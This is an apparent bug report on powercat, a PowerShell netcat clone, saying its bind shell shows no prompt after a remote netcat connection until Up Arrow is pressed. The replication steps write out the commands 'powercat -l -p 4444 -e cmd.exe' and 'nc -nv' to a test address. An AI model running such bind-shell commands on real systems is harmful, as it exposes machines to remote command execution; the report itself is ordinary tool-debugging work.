BIND shells do not return a prompt after remote connection
#19 opened on 2020/04/22
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説明
The bind shell powercat -l -p 4444 -e cmd.exe does not return a prompt until I press Up Arrow in the prompt running powercat.
This may be due to latency involved with an OpenVPN/rdesktop set-up, but this latency would likely be involved in operational use. I did not attempt to recreate locally to see if latency was a factor.
Replication:
In PowerShell:
powercat -v -l -p 4444 -e cmd.exe
The prompt will report: Listening on [0.0.0.0] (port 443)
On connecting device:
nc -nv 123.123.123.123 4444
After connecting, the connecting device displays:
(UNKNOWN) [123.123.123.123] 4444 (?) open
The bind device does not display the connection in the prompt, but the connection is visible in netstat.
In PowerShell Prompt:
<press up arrow>
The prompt will report Connection from [123.123.123.123] port [tcp] accepted (source port 5555)
and proceed as normal.